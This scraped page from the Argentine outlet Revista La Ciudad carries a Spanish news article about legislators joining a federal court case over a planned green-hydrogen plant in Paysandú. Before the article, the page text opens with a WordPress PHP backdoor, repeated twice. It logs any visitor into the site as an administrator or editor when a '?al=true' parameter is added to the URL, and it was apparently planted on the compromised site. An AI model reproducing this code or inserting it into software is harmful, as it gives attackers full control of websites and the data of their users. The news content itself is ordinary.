// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); // _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Marclay y pares del PJ se presentaron ante la Justicia por la planta de hidrógeno verde – Revista La Ciudad
NacionalesPolíticaPolítica

Marclay y pares del PJ se presentaron ante la Justicia por la planta de hidrógeno verde

Screenshot

Los legisladores nacionales Marianela Marclay, Guillermo Michel y Adán Bahl se presentaron ante la Justicia Federal para ser admitidos bajo la figura de “Amigos del tribunal” (Amicus Curiae), en el marco de la causa por la planta de hidrógeno verde que la empresa “HIF Global” quiere instalar en Paysandú, sobre el río Uruguay, frente a las playas de Colón.

El juez Federal Subrogante Nº 1 de Concepción del Uruguay, Hernán Viri, admitió esta presentación, que los Diputados y el Senador realizaron en defensa del ambiente de Colón, San José, Liebig, Concepción del Uruguay, Gualeguaychú y del resto de las localidades ribereñas que recibirían la posible contaminación derivada de la instalación de la planta.

Los presentantes manifestaron estar en condiciones de aportar a la solución del caso, en resguardo de los derechos ambientales, sociales y económicos, que son protegidos por la Constitución Nacional, los tratados internacionales con jerarquía constitucional y el Estatuto del Río Uruguay. Precisamente, señalaron que la instalación de la planta incumple la normativa establecida en el Estatuto del Río Uruguay y la jurisprudencia fijada por la Corte Internacional de La Haya en el caso “Botnia – UPM”.

Además, agregaron que Uruguay aún no cumplió con su obligación de presentar ante la Comisión Administradora del Río Uruguay (CARU) la documentación necesaria para que Argentina evalúe el proyecto.

Related Articles

EconomíaLocalesPolíticaSociedad

Lauritto recibió a trabajadores de Tres Arroyos que siguen sin respuesta

El Presidente Municipal, José Lauritto, volvió a recibir a un grupo de...

EconomiaNacionalesPolíticaSociedad

La pobreza se mueve al ritmo de una canasta básica que aumentó un 2,2%

La Canasta Básica Total, utilizada para medir los umbrales de pobreza, aumentó...

NacionalesPolíticaSociedad

Milei quedó entre los cinco presidentes con peor imagen de América Latina

El mandatario argentino descendió un puesto en el ranking regional de julio...

EconomiaNacionalesPolíticaSociedad

Construcción: datos privados muestran un nuevo retroceso de la actividad en junio

Se retrajeron las ventas de insumos. También los despachos de cemento y...